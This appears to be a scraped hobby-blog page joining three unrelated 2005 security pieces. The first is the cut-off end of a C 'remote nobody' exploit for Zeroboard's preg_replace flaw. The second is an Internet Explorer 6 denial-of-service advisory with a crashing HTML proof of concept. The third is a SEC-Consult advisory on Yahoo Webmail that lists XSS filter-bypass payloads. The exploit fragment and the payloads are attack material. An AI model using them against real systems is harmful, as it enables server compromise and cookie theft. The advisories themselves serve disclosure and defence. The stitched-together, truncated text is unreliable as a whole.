if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

tv.tv_sec = 60;
tv.tv_usec = 0;

FD_ZERO(&fds);

for(;;){

memset(ReadBuf, 0, sizeof(ReadBuf));

FD_SET(sockfd, &fds);

if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
if(FD_ISSET(sockfd, &fds)){
if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);

if(strstr(ReadBuf, "HTTP/1.1 ")){
if(strstr(ReadBuf+9, "200 OK
")) {

if(strstr(ReadBuf+17, "<meta http-equiv="refresh" content="0; url=zboard.php?id=")) {
fprintf(stdout, " - ok! :)
");
fflush(stdout);
return;
}
else{
break;
}
}
else if(strstr(ReadBuf+9, "404 Not Found
")){
OutputErr(" - failed!(page not found)
", 0);
}
else if(strstr(ReadBuf+9, "400 Bad Request
")){
OutputErr(" - failed!(Bad Request)
", 0);
}
else {
fprintf(stderr,"%s", ReadBuf);
exit(1);
}
}

}
}

fprintf(stderr," error!
");
}

void StatusProcess(void)
{
putchar('.');
fflush(stdout);
}


void OutputErr(char *msg, int type)
{
if(!type){
fprintf(stderr,"%s", msg);
fflush(stderr);
}
else if(type==1){
if(!strcmp(msg, zb_host)) herror(msg);
else perror(msg);
}

DeleteArticle();
exit(1);
}

void Usage(char *arg)
{
fprintf(stderr,"[*] Zeroboard preg_replace() vulnerability Remote nobody exploit by n0gada
");
fprintf(stderr,"--------------------------------------------------------------------------
");
fprintf(stderr,"Usage: %s <SERVER> [PORT - default : 80]
", arg);
fprintf(stderr,"--------------------------------------------------------------------------
");

exit(1);
}

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2005. 11. 15. 09:29

Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service

Hobby/Computer
Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service

A denial of service vulnerability exists within Internet Explorer 6.0 on XP SP2 with the J2SE Runtime Environment installed allows for an attacker to cause the browser to stop responding. Please read more for the full details.

digg it!




Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service

Release Date:
October 24, 2005

Date Reported:
August 14, 2005

Severity:
Medium

Vendor:
Microsoft

Versions Affected:
Internet Explorer 6.0 on Windows XP SP2

Overview:
A denial of service vulnerability exists within Internet Explorer 6.0 on XP SP2 with the J2SE Runtime Environment installed allows for an attacker to cause the browser to stop responding.

Technical Details:
The flaw is within mshtmled.dll (6.00.2900.2753 (xpsp_sp2_gdr.050902-1326) and prior versions) which Internet Explorer 6.0 uses for HTML editing. Below is a snippet from mshtmled.dll which is causing the problem. From what is looks like, this is just a null pointer issue.

.text:76235680 loc_76235680: ; CODE XREF: sub_762355EC+56 j
.text:76235680 ; sub_762355EC+62 j ...
.text:76235680 mov eax, [esi+8]
.text:76235683 lea ecx, [eax+10h]
.text:76235686 mov eax, [ecx] ; <(=--- oops
.text:76235688 call dword ptr [eax+0Ch]
.text:7623568B mov ecx, [eax]

The following code below will reproduce this issue. Please note that you must have J2SE Runtime Environment installed which is located here:

http://www.java.com/en/download/windows_automatic.jsp

<'FRAMESET >
<'FRAME SRC=AAAA >
<'EMBED NAME=SP STYLE= >
<'APPLET HSPACE=file://AAAA >

Obviously just remove the '.

Vendor Status:
Ask Microsoft.

Discovered by:
Tom Ferris

Related Links:
http://www.security-protocols.com/poc/sp-x20.html
http://www.security-protocols.com/advisory/sp-x20-advisory.txt
http://www.evolvesecurity.com

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Yahoo Webmail Vulnerabilty

Hobby/Computer

SEC-CONSULT Security Advisory 20051021-0
=========================================
title: Yahoo/MSIE XSS
program: Yahoo Webmail in combination with MSIE 6.0
(maybe other browsers)
homepage: www.yahoo.com
found: 2005-04
by: SEC-Team / SEC-CONSULT / www.sec-consult.com
=========================================

Vulnerabilty overview:
---------------

Since april 2005 SEC-Consult has found 5+ serious vulnerabilities within Yahoo's webmail systems.
All of them have been fixed in the production environment. Nevertheless SEC-Consult believes that
input-validation thru blacklists can just be a temporary solution to problems like this. From our
point of view there are many other applications vulnerable to this special type of problem where
vulnerabilities of clients and servers can be combined.

Vulnerabilty details:
---------------

1) XSS / Cookie-Theft

Yahoos blacklists fail to detect script-tags in combination with special characters like NULL-Bytes and other META-Characters.
This leaves Webmail users using MSIE vulnerable to typical XSS / Relogin-trojan / Phishing attacks.

2) Some XSS Examples from our advisories

Excerpt from HTML-mails:

=========================================
SCRIPT-TAG:
---cut here---
<h1>hello</h1><s[META-Char]cript>alert("i have you now")</s[META-Char]cript></br>rrrrrrxxxxx<br>
---cut here---
=========================================
OBJECT-TAG:
---cut here---
<objec[META-Char]t classid="CLSID:D27CDB6E-AE6D-11cf-96B8-444553540000">
<param name="movie" value="http://[somewhere]/yahoo.swf"></obje[META-Char]ct>
---cut here---
=========================================
ONERROR-Attribute:
---cut here---
<img src="http://dontexist.info/x.jpg" one[META-Char]rror="alert('i have you now')">uargg</p>
---cut here---
=========================================
ONUNLOAD-Attribute:
---cut here---
</body><body onun[META-Char]load=alert('i have you now')><br></br><p>somewords</p></body></html>
---cut here---
=========================================


Recommended hotfixes for webmail-users
---------------

Do not use MS Internet-Explorer.


Recommended fixes
---------------

Do not use blacklists on tags and attributes. Whitelist special/meta-characters.


Vendor status:
---------------
Vulnerabilities have been fixed.


General remarks
---------------
We would like to apologize in advance for potential nonconformities and/or known issues.

~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC-Team / www.sec-consult.com /

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